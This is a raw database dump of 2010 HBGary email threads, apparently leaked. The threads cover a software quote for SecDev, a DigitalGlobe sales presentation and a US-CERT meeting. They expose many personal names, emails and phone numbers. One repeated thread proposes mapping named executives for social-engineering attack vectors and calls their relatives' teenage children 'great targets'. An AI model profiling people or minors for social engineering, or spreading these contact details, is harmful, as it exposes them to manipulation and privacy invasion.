&quot;&#39;Penny Leavy-Hoglund&#39;&quot; &lt;penny@hbgary.com&gt;\r\nSubject: RE: SecDev needs a quote\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nQuote is attached.\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob Slapnik\r\nCc: &lt;carma@hbgary.com&gt;; Penny Leavy-Hoglund\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nCan we get them a quote today?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 5:10 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCarma,\r\n\r\n \r\n\r\nAaron\r\nat HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev\r\nin Canada.  They don’t have much money and they said they would buy before\r\nSept 30, so Aaron offered them a 30% discount with approval from Penny. \r\nPlease send a quote for SecDev which Aaron will forward to them.\r\n\r\n \r\n\r\nI\r\nasked Aaron if HBG Fed would be the reseller.  He said he would prefer the\r\ntransaction to go through HBGary.  Ask Penny about a finder’s fee for HBG\r\nFed.\r\n\r\n \r\n\r\nBob\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9170,'aaron_hbgary_com/9170.html'),(11558,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008722.M259242P14101Q6413.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','DigitalGlobe Outline for Presentation','Greg\r\n \r\nOn Monday you will be presenting at Digital Globe -- the agenda is attached and approved by DigitalGlobe.\r\n \r\nAaron and Ted will both be attending.  Aaron is there to present Social Engineering Training and Ted is there to assist with the Active Defense software sale and will help to provide installation, deployment and training post-sale.\r\n\r\n \r\nI am available to review the agenda anytime.  I will be reviewing the agenda with Ted and he said that he will be there to keep you on track and be responsible to make sure that we cover all the topics important to closing the deal.\r\n\r\n \r\nI would attend the meeting normally but I believe you are in excellent company already.\r\n \r\nLet me know when you would like to do this?\r\n \r\nMaria\r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',213,'aaron_hbgary_com/213.html'),(11559,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008722.M557013P14101Q6414.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Social Media Material','Aaron\r\n \r\nPrior to the luncheon presentation please review with Greg how you will present so that it all flows.  The training is the final item on the Part II presentation with the subject of clearances.\r\n \r\nThanks!\r\nMaria\r\nOn Thu, Sep 9, 2010 at 4:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nShould be fun.  Already have a good amount of data.\r\n\r\nAaronSent from my iPhone\r\nBegin forwarded message:\r\n\r\n\r\nFrom: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;Date: September 9, 2010 6:58:16 PM EDT \r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Social Media Material\r\n\r\n\r\nHi Aaron,Apologies for not getting back to you sooner, but we have been inmeetings all day.Walter and Scott are fine with you performing a social media threat\r\nanalysis. We would like to share the information with them before thepresentation just in case there is anything sensitive discovered that wewould prefer not to put in a public presentation.\r\nScott Hicar will actually not be able to join the meeting so I washoping we could find a third target. You are welcome to use any of the following Information Security team\r\nmembers who will be in attendance in the meeting:Daniel CollenderBrian CoulsonJeremy EhlertPlease let me know if you need anything else from me prior to Monday&#39;s\r\nmeeting.Looking forward to seeing you here in Colorado on Monday. \r\nBest,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, September 08, 2010 7:55 AMTo: Daniel CollenderSubject: Re: Social Media Material* PGP - S/MIME Signed: 9/8/2010 at 7:55:08 AM\r\nDaniel,I can do a social map on Walter and Scott showing the informationavailable and potential attack vectors to them personally.  Is that a\r\nbit over the top or do you think they would resonate with that.  Basedon their social profiles they both seem to be outgoing, social people.If that seems a bit to close to home I will just back it out a bit and\r\ntalk generically about using social media as a targeting, socialengineering, and attack tool.Nice thing is both Scott and Walter have FB pages that have their\r\nfriends list open, very detailed LinkedIn pages.  Social Engineeringthem would be easy.  They either have kids or nephews in HS with FBpages that are wide open as well (great targets - very socially\r\npromiscuous).Aaron \r\nOn Sep 7, 2010, at 12:04 PM, Daniel Collender wrote:\r\nHi Aaron,\r\n\r\nI think that would be excellent.\r\n\r\nCan you work with Maria to make sure that time allotted for your\r\npresentation on the agenda she is working on?\r\n\r\nWe have two hours planned. The first hour is the high-level APToverview\r\nwith many executives in attendance. The second hour is the solutions\r\ndiscussion.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:54 AM\r\nTo: Daniel Collender\r\nSubject: Social Media Material\r\n\r\n\r\nOld - S/MIME Signed: 9/7/2010 at 9:53:54 AM\r\n\r\n\r\nDaniel,\r\n\r\nI think I may be in Colorado early next week and if so was planning on\r\ncoming up to the meeting on Monday to present some social mediamaterial if\r\nthat is fine with you.\r\n\r\nAaron\r\n\r\n* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n* Issuer: &quot;VeriSign* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n* Issuer: &quot;VeriSign-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',1910,'aaron_hbgary_com/1910.html'),(11560,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008722.M809544P14101Q6415.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: Social Media Material','Ok we also need to present this information to some level in the first half with Walter and Daniel. I believe they are expecting it based on thread below.Aaron\r\nSent from my iPhoneOn Sep 9, 2010, at 8:57 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Aaron\r\n \r\nPrior to the luncheon presentation please review with Greg how you will present so that it all flows.  The training is the final item on the Part II presentation with the subject of clearances.\r\n \r\nThanks!\r\nMaria\r\nOn Thu, Sep 9, 2010 at 4:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nShould be fun.  Already have a good amount of data.\r\n\r\nAaronSent from my iPhone\r\nBegin forwarded message:\r\n\r\n\r\nFrom: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;Date: September 9, 2010 6:58:16 PM EDT \r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Social Media Material\r\n\r\n\r\n\r\nHi Aaron,Apologies for not getting back to you sooner, but we have been inmeetings all day.Walter and Scott are fine with you performing a social media threat\r\n\r\nanalysis. We would like to share the information with them before thepresentation just in case there is anything sensitive discovered that wewould prefer not to put in a public presentation.\r\n\r\nScott Hicar will actually not be able to join the meeting so I washoping we could find a third target. You are welcome to use any of the following Information Security team\r\n\r\nmembers who will be in attendance in the meeting:Daniel CollenderBrian CoulsonJeremy EhlertPlease let me know if you need anything else from me prior to Monday&#39;s\r\n\r\nmeeting.Looking forward to seeing you here in Colorado on Monday. \r\nBest,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n\r\nSent: Wednesday, September 08, 2010 7:55 AMTo: Daniel CollenderSubject: Re: Social Media Material* PGP - S/MIME Signed: 9/8/2010 at 7:55:08 AM\r\n\r\nDaniel,I can do a social map on Walter and Scott showing the informationavailable and potential attack vectors to them personally.  Is that a\r\n\r\nbit over the top or do you think they would resonate with that.  Basedon their social profiles they both seem to be outgoing, social people.If that seems a bit to close to home I will just back it out a bit and\r\n\r\ntalk generically about using social media as a targeting, socialengineering, and attack tool.Nice thing is both Scott and Walter have FB pages that have their\r\n\r\nfriends list open, very detailed LinkedIn pages.  Social Engineeringthem would be easy.  They either have kids or nephews in HS with FBpages that are wide open as well (great targets - very socially\r\n\r\npromiscuous).Aaron \r\nOn Sep 7, 2010, at 12:04 PM, Daniel Collender wrote:\r\nHi Aaron,\r\n\r\nI think that would be excellent.\r\n\r\nCan you work with Maria to make sure that time allotted for your\r\npresentation on the agenda she is working on?\r\n\r\nWe have two hours planned. The first hour is the high-level APToverview\r\nwith many executives in attendance. The second hour is the solutions\r\ndiscussion.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:54 AM\r\nTo: Daniel Collender\r\nSubject: Social Media Material\r\n\r\n\r\nOld - S/MIME Signed: 9/7/2010 at 9:53:54 AM\r\n\r\n\r\nDaniel,\r\n\r\nI think I may be in Colorado early next week and if so was planning on\r\ncoming up to the meeting on Monday to present some social mediamaterial if\r\nthat is fine with you.\r\n\r\nAaron\r\n\r\n* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n* Issuer: &quot;VeriSign* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n* Issuer: &quot;VeriSign-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n',8836,'aaron_hbgary_com/8836.html'),(11561,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008723.M22696P14101Q6416.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,,,,','Aaron\'s meeting with the US-CERT for TMC','Penny\r\n \r\nAaron had a hugely successful meeting with the US-CERT.   \r\n \r\nThe outcome is twofold:\r\n \r\n1. There is very high interest. We have to &quot;productize&quot; the Center.  And, Aaron believes this is a multi-million dollar sale.\r\n \r\n2. The US-CERT will be providing malware samples to Aaron to help us improve DDNA detection.  They claim that detection rates for APT are low.   \r\n \r\nAaron, can you provide a write up for us please?\r\n \r\nThank you \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',6205,'aaron_hbgary_com/6205.html'),(11562,'2010-09-10','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008723.M507210P14101Q6417.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Social Media Material','yes i had the same impression that is why you need to speak with Greg on where it fits into his presentation...\r\nOn Thu, Sep 9, 2010 at 5:59 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nOk we also need to present this information to some level in the first half with Walter and Daniel. I believe they are expecting it based on thread below.\r\n\r\n\r\nAaronSent from my iPhone\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 8:57 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron\r\n \r\nPrior to the luncheon presentation please review with Greg how you will present so that it all flows.  The training is the final item on the Part II presentation with the subject of clearances.\r\n \r\nThanks!\r\nMaria\r\nOn Thu, Sep 9, 2010 at 4:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nShould be fun.  Already have a good amount of data.\r\n\r\nAaronSent from my iPhone\r\nBegin forwarded message:\r\n\r\n\r\nFrom: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;Date: September 9, 2010 6:58:16 PM EDT \r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Social Media Material\r\n\r\n\r\n\r\nHi Aaron,Apologies for not getting back to you sooner, but we have been inmeetings all day.Walter and Scott are fine with you performing a social media threat\r\nanalysis. We would like to share the information with them before thepresentation just in case there is anything sensitive discovered that wewould prefer not to put in a public presentation.\r\nScott Hicar will actually not be able to join the meeting so I washoping we could find a third target. You are welcome to use any of the following Information Security team\r\nmembers who will be in attendance in the meeting:Daniel CollenderBrian CoulsonJeremy EhlertPlease let me know if you need anything else from me prior to Monday&#39;s\r\nmeeting.Looking forward to seeing you here in Colorado on Monday. \r\nBest,Dan-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Wednesday, September 08, 2010 7:55 AMTo: Daniel CollenderSubject: Re: Social Media Material* PGP - S/MIME Signed: 9/8/2010 at 7:55:08 AM\r\nDaniel,I can do a social map on Walter and Scott showing the informationavailable and potential attack vectors to them personally.  Is that a\r\nbit over the top or do you think they would resonate with that.  Basedon their social profiles they both seem to be outgoing, social people.If that seems a bit to close to home I will just back it out a bit and\r\ntalk generically about using social media as a targeting, socialengineering, and attack tool.Nice thing is both Scott and Walter have FB pages that have their\r\nfriends list open, very detailed LinkedIn pages.  Social Engineeringthem would be easy.  They either have kids or nephews in HS with FBpages that are wide open as well (great targets - very socially\r\npromiscuous).Aaron \r\nOn Sep 7, 2010, at 12:04 PM, Daniel Collender wrote:\r\nHi Aaron,\r\n\r\nI think that would be excellent.\r\n\r\nCan you work with Maria to make sure that time allotted for your\r\npresentation on the agenda she is working on?\r\n\r\nWe have two hours planned. The first hour is the high-level APToverview\r\nwith many executives in attendance. The second hour is the solutions\r\ndiscussion.\r\n\r\nBest,\r\nDan\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:54 AM\r\nTo: Daniel Collender\r\nSubject: Social Media Material\r\n\r\n\r\nOld - S/MIME Signed: 9/7/2010 at 9:53:54 AM\r\n\r\n\r\nDaniel,\r\n\r\nI think I may be in Colorado early next week and if so was planning on\r\ncoming up to the meeting on Monday to present some social mediamaterial if\r\nthat is fine with you.\r\n\r\nAaron\r\n\r\n* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n* Issuer: &quot;VeriSign* Aaron Barr &lt;aaron@hbgary.com&gt;\r\n* Issuer: &quot;VeriSign-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',792,'aaron_hbgary_com/792.html'),(11563,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008723.M876260P14101Q6418.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: DigitalGlobe Outline for Presentation','One missing piece is Daniel is expecting to hear a bit about social media during the CIO/CTO presentation. &nbsp;He specifically told me he wanted to present some of that information in that forum. &nbsp;I don\'t have to take a lot of time, 10-15min. I can convey enough information.Maria, to what level do they want information on DoD, NSA, CyberCOM information? &nbsp;Is this a how does NSA detect APT (Tutiledge), DHS (Einstein), how does malware analysis fit into the Incident handling process, etc? &nbsp;Do they want information on the DIB (Defense Industrial Base) initiative and how the CNCI is being implemented? &nbsp;Legislation?AaronOn Sep 9, 2010, at 8:55 PM, Maria Lucas wrote:Greg\r\n&nbsp;\r\nOn Monday you will be presenting at Digital Globe -- the agenda is attached and approved by DigitalGlobe.\r\n&nbsp;\r\nAaron and Ted will both be attending.&nbsp; Aaron is there to present Social Engineering Training and Ted is there to assist with the Active Defense software sale and will help to provide installation, deployment and training post-sale.\r\n\r\n&nbsp;\r\nI am available to review the agenda anytime.&nbsp; I will be reviewing the agenda with Ted and he said that he will be there to keep you on track and be responsible to make sure that we cover all the topics important to closing the deal.\r\n\r\n&nbsp;\r\nI would attend the meeting&nbsp;normally but I believe you are in excellent company already.\r\n&nbsp;\r\nLet me know when you would like to do this?\r\n&nbsp;\r\nMaria\r\n&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n&lt;HBGARY PRESENTATION OUTLINE FOR DIGITALGLOBE.docx&gt;',14846,'aaron_hbgary_com/14846.html'),(11564,'2010-09-10','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297008724.M131337P14101Q6419.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: SecDev needs a quote','Hi Aaron,This is great, we\'ll take it! :)Re: our use for it for the large telco, we need it quite urgent for Monday morning - is there a way this can be facilitated (e.g. a temporary license) until he gets the hard product?How can we do the payment? Can you guys ship to Canada for delivery Monday AM?ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-09-09, at 8:20 PM, Aaron Barr wrote:Sorry for delay.AaronSent from my iPhoneBegin forwarded message:From: \"Bob Slapnik\" &lt;bob@hbgary.com&gt;\r\nDate: September 9, 2010 8:18:08 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Cc: &lt;carma@hbgary.com&gt;, \"\'Penny Leavy-Hoglund\'\" &lt;penny@hbgary.com&gt;\r\nSubject: RE: SecDev needs a quote\r\n\r\nAaron,&nbsp;Quote is attached.&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob Slapnik\r\nCc: &lt;carma@hbgary.com&gt;; Penny Leavy-Hoglund\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCan we get them a quote today?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 5:10 PM, \"Bob Slapnik\" &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCarma,&nbsp;Aaron\r\nat HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev\r\nin Canada.&nbsp; They don’t have much money and they said they would buy before\r\nSept 30, so Aaron offered them a 30% discount with approval from Penny.&nbsp;\r\nPlease send a quote for SecDev which Aaron will forward to them.&nbsp;I\r\nasked Aaron if HBG Fed would be the reseller.&nbsp; He said he would prefer the\r\ntransaction to go through HBGary.&nbsp; Ask Penny about a finder’s fee for HBG\r\nFed.&nbsp;Bob\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Responder Quote RAS-20100909-3 for SecDev.pdf&gt;',3839,'aaron_hbgary_com/3839.html'),(11565,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008724.M338136P14101Q6420.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,,,','Re: Aaron\'s meeting with the US-CERT for TMC','Sure.Overall the meeting went well. &nbsp;They did have reservations about DDNA detection for their APT malware. &nbsp;When I asked them what were the flavors of APT malware they mentioned the newer Zeus, Fake-AV malware, which made me go hmmmm.... because I was under the impression we do great on those. &nbsp;I talked to Greg afterwards and he mentioned something that has been mentioned before which is they might not be allowing the dropper to actually download the malware and are just running it against a itty bitty dropper, no go. &nbsp;Soooo I asked for some malware samples to help us improve our technology and they said they would send what we needed.On the TMC. &nbsp;They liked where we were going which is this.Provide TMC with DDNA results for volume malware (done).Provide a UI with a querable capability to search for IOCs within the database (not too difficult).Provide reports similiar to those of CWSandbox and Anubis (not to difficult).Hook in Fingerprint (not too difficult).Hook in Palantir (last piece - Palantir is going to do most of this work for us).They like all these pieces. &nbsp;The piece they asked for was the ability to add IOCs to DDNA so they can alert on things that are not being caught by DDNA. &nbsp;After talking with Greg, all the data is their in the TMC just to run crafted IOCs against what exists. &nbsp;We could develop a process to automate this in some way if they wanted. &nbsp;Meaning at to an IOC list and run all malware analysis against those IOCs during normal processing.They also like our IR concept of combining End Games, Fidelis, and AD as part of an IR package. &nbsp;The lead IR guys exact comment was, \"Thats smart\". :) &nbsp;So I will follow up with Sean to get in front of Nick (IR Guy) to talk specifically about that.AaronOn Sep 9, 2010, at 9:03 PM, Maria Lucas wrote:Penny\r\n&nbsp;\r\nAaron had a hugely successful meeting with the US-CERT.&nbsp;&nbsp; \r\n&nbsp;\r\nThe outcome is twofold:\r\n&nbsp;\r\n1. There is very high interest. We have to \"productize\" the Center.&nbsp; And, Aaron believes this is a multi-million dollar sale.\r\n&nbsp;\r\n2. The US-CERT will be providing malware samples to Aaron to help us improve DDNA detection.&nbsp; They claim that detection rates for APT are low.&nbsp;&nbsp; \r\n&nbsp;\r\nAaron, can you provide a write up for us please?\r\n&nbsp;\r\nThank you \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',15975,'aaron_hbgary_com/15975.html'),(11566,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008724.M540720P14101Q6421.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: SecDev needs a quote','You have run this process many times. &nbsp;Can you help to get Arnav and Nart up and running by Monday?AaronBegin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;Date: September 9, 2010 9:29:38 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: SecDev needs a quoteHi Aaron,This is great, we\'ll take it! :)Re: our use for it for the large telco, we need it quite urgent for Monday morning - is there a way this can be facilitated (e.g. a temporary license) until he gets the hard product?How can we do the payment? Can you guys ship to Canada for delivery Monday AM?ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-09-09, at 8:20 PM, Aaron Barr wrote:Sorry for delay.AaronSent from my iPhoneBegin forwarded message:From: \"Bob Slapnik\" &lt;bob@hbgary.com&gt;\r\nDate: September 9, 2010 8:18:08 PM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Cc: &lt;carma@hbgary.com&gt;, \"\'Penny Leavy-Hoglund\'\" &lt;penny@hbgary.com&gt;\r\nSubject: RE: SecDev needs a quote\r\n\r\nAaron,&nbsp;Quote is attached.&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob Slapnik\r\nCc: &lt;carma@hbgary.com&gt;; Penny Leavy-Hoglund\r\nSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCan we get them a quote today?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\nOn Sep 9, 2010, at 5:10 PM, \"Bob Slapnik\" &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCarma,&nbsp;Aaron\r\nat HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev\r\nin Canada.&nbsp; They don’t have much money and they said they would buy before\r\nSept 30, so Aaron offered them a 30% discount with approval from Penny.&nbsp;\r\nPlease send a quote for SecDev which Aaron will forward to them.&nbsp;I\r\nasked Aaron if HBG Fed would be the reseller.&nbsp; He said he would prefer the\r\ntransaction to go through HBGary.&nbsp; Ask Penny about a finder’s fee for HBG\r\nFed.&nbsp;Bob\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Responder Quote RAS-20100909-3 for SecDev.pdf&gt;',9325,'aaron_hbgary_com/9325.html'),(11567,'2010-09-10','\"Carma Beedle\" <carma@hbgary.com>','/aaron@hbgary.com/new/1297008724.M739744P14101Q6422.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: SecDev needs a quote','Sorry guys, I&#39;ve been driving the past 2+ hours from Sacramento home.   :(\r\n \r\nThank you though!   I assume Aaron is going to send it to the customer?\r\n \r\nBest Regards,\r\nCarma\r\n415 517 0663\r\nOn Thu, Sep 9, 2010 at 5:18 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAaron,\r\n \r\nQuote is attached.\r\n \r\n\r\nBob \r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob SlapnikCc: &lt;carma@hbgary.com&gt;; Penny Leavy-HoglundSubject: Re: SecDev needs a quote\r\n\r\n\r\n\r\n \r\n\r\nCan we get them a quote today?\r\n\r\n \r\n\r\nAaronSent from my iPhone\r\n\r\nOn Sep 9, 2010, at 5:10 PM, &quot;Bob Slapnik&quot; &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCarma,\r\n \r\nAaron at HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev in Canada.  They don’t have much money and they said they would buy before Sept 30, so Aaron offered them a 30% discount with approval from Penny.  Please send a quote for SecDev which Aaron will forward to them.\r\n\r\n \r\nI asked Aaron if HBG Fed would be the reseller.  He said he would prefer the transaction to go through HBGary.  Ask Penny about a finder’s fee for HBG Fed.\r\n \r\nBob \r\n \r\nNo virus found in this incoming message.Checked by AVG - www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/09/10 14:34:00\r\n\r\n',8234,'aaron_hbgary_com/8234.html'),(11568,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008724.M936593P14101Q6423.eml','\"Carma Beedle\" <carma@hbgary.com>,\"Carma Beedle\" <carma@hbgary.com>,','Re: SecDev needs a quote','Hey Carma,No worries I did and they will take it. &nbsp;The would like to do the purchase right away. &nbsp;Their engagement with the large US Telco starts on Monday so they would like either a temp license or whatever we can do to make sure they can operate on Monday.Thanks,AaronOn Sep 9, 2010, at 9:30 PM, Carma Beedle wrote:Sorry guys, I\'ve been driving the past 2+ hours from Sacramento home.&nbsp;&nbsp; :(\r\n&nbsp;\r\nThank you though!&nbsp;&nbsp; I assume Aaron is going to send it to the customer?\r\n&nbsp;\r\nBest Regards,\r\nCarma\r\n415 517 0663\r\nOn Thu, Sep 9, 2010 at 5:18 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron,&nbsp;Quote is attached.&nbsp;\r\nBob &nbsp;\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, September 09, 2010 7:58 PM\r\nTo: Bob SlapnikCc: &lt;carma@hbgary.com&gt;; Penny Leavy-HoglundSubject: Re: SecDev needs a quote\r\n\r\n\r\n&nbsp;\r\nCan we get them a quote today?\r\n&nbsp;\r\nAaronSent from my iPhone\r\nOn Sep 9, 2010, at 5:10 PM, \"Bob Slapnik\" &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\nCarma,&nbsp;Aaron at HBGary Federal wants to sell 1 Responder Pro, DDNA and maintenance to SecDev in Canada.&nbsp; They don’t have much money and they said they would buy before Sept 30, so Aaron offered them a 30% discount with approval from Penny.&nbsp; Please send a quote for SecDev which Aaron will forward to them.&nbsp;I asked Aaron if HBG Fed would be the reseller.&nbsp; 